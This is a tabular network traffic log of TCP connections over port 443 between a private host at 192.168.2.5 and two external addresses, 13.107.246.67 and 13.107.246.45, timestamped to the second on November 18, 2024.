Nov 18, 2024 20:21:52.278017044 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.278032064 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.278081894 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.278105021 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.334171057 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.334197998 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.334209919 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.334216118 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.338227987 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.338273048 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.338299990 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.338315010 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.395205975 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.395230055 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.395301104 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.395373106 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.395450115 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.395450115 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.503901958 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.503901958 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.503952980 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.503978968 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.504153013 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.504153013 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.504223108 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.504268885 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.504328012 CET	49894	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.504343033 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.521182060 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.521255016 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.521398067 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.521398067 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.521465063 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.521527052 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.527719975 CET	49899	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.527741909 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.527806044 CET	49899	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.533827066 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.533879042 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.534068108 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.536452055 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.536545992 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.536632061 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.548877954 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.548893929 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.549145937 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.549732924 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.549792051 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.549870014 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.550282955 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.550297022 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.550628901 CET	49899	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.550643921 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.551229000 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.551244020 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.551251888 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.551263094 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.551417112 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.551429033 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.644915104 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.644963026 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.645109892 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.645109892 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.645185947 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.645256996 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.795032978 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.795057058 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.795130014 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.795202017 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.795244932 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.795267105 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.917145967 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.917196989 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.917238951 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.917252064 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.917279959 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.917377949 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.009474993 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.009499073 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.009685993 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.009685993 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.009752035 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.009821892 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.044703960 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.044765949 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.044805050 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.044820070 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.044855118 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.044909000 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.163387060 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.163441896 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.163506031 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.163582087 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.163621902 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.163691044 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.275605917 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.275667906 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.275819063 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.275893927 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.275943041 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.275968075 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.351623058 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.352139950 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.352174044 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.352596045 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.352605104 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.354984045 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.355289936 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.355310917 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.355698109 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.355703115 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.358357906 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.358742952 CET	49899	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.358767033 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.359050989 CET	49899	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.359056950 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.377388000 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.377444983 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.377484083 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.377505064 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.377537012 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.377768993 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.382304907 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.382687092 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.382704020 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.382874966 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.383099079 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.383104086 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.383167982 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.383219957 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.383517027 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.383522034 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.396411896 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.396450043 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.396495104 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.396538973 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.396564960 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.396569014 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.396620035 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.396789074 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:53.396821022 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:53.507416964 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507440090 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507469893 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507491112 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507512093 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.507527113 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507540941 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507561922 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.507581949 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.507735014 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.507735968 CET	49900	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.507760048 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507769108 CET	443	49900	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507922888 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.507945061 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.507960081 CET	49903	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.507965088 CET	443	49903	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.508174896 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.508251905 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.508304119 CET	49899	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.508793116 CET	49899	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.508805990 CET	443	49899	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.512027979 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.512043953 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.512058020 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.512069941 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.512137890 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.512271881 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.512286901 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.512315989 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.512415886 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.512428045 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.512882948 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.512904882 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.512952089 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.513065100 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.513077974 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.520965099 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.521116018 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.521182060 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.521260977 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.521269083 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.521281004 CET	49901	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.521285057 CET	443	49901	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.523199081 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.523225069 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.523332119 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.523446083 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.523459911 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.673882961 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.674082041 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.674140930 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.674242020 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.674258947 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.674268961 CET	49902	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.674276114 CET	443	49902	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.677519083 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.677617073 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:53.677879095 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.678025961 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:53.678056955 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.272897959 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.273354053 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.273370028 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.273935080 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.273940086 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.274940968 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.277261019 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.277286053 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.278130054 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.278135061 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.285240889 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.285664082 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.285689116 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.286073923 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.286086082 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.324453115 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.324816942 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.324836969 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.325225115 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.325228930 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.406215906 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.406246901 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.406302929 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.406346083 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.406392097 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.406600952 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.406618118 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.406629086 CET	49908	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.406636000 CET	443	49908	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.408253908 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.408278942 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.408325911 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.408335924 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.408401012 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.408451080 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.408545971 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.408545971 CET	49907	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.408557892 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.408565998 CET	443	49907	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.410677910 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.410767078 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.410842896 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.411215067 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.411257029 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.412144899 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.412174940 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.412250042 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.412429094 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.412442923 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.414649963 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.414731979 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.414797068 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.414810896 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.414835930 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.414931059 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.415070057 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.415083885 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.415092945 CET	49909	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.415098906 CET	443	49909	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.417043924 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.417064905 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.417268991 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.417408943 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.417428970 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.434541941 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.435020924 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.435039043 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.435484886 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.435488939 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.455337048 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.455513000 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.455565929 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.455591917 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.455605030 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.455625057 CET	49906	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.455629110 CET	443	49906	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.458640099 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.458662033 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.458767891 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.458894968 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.458908081 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.566849947 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.566943884 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.567241907 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.578737020 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.578754902 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.578890085 CET	49910	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.578896046 CET	443	49910	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.581558943 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.581604004 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:54.581757069 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.582000017 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:54.582014084 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.144129992 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.146426916 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.146461010 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.147222042 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.147229910 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.148228884 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.149399996 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.149420977 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.150259018 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.150264025 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.214355946 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.254425049 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.256953955 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.256963968 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.257882118 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.257886887 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.272531033 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.272836924 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.273132086 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.273485899 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.273485899 CET	49920	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.273498058 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.273507118 CET	443	49920	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.276233912 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.276268005 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.276376009 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.276535034 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.276546955 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.278719902 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.278752089 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.278809071 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.278826952 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.278886080 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.279033899 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.279050112 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.279062986 CET	49921	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.279067993 CET	443	49921	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.281286001 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.281321049 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.281388998 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.281512022 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.281523943 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.291193962 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.291645050 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.291686058 CET	443	49919	13.107.246.45	192.168.2.5
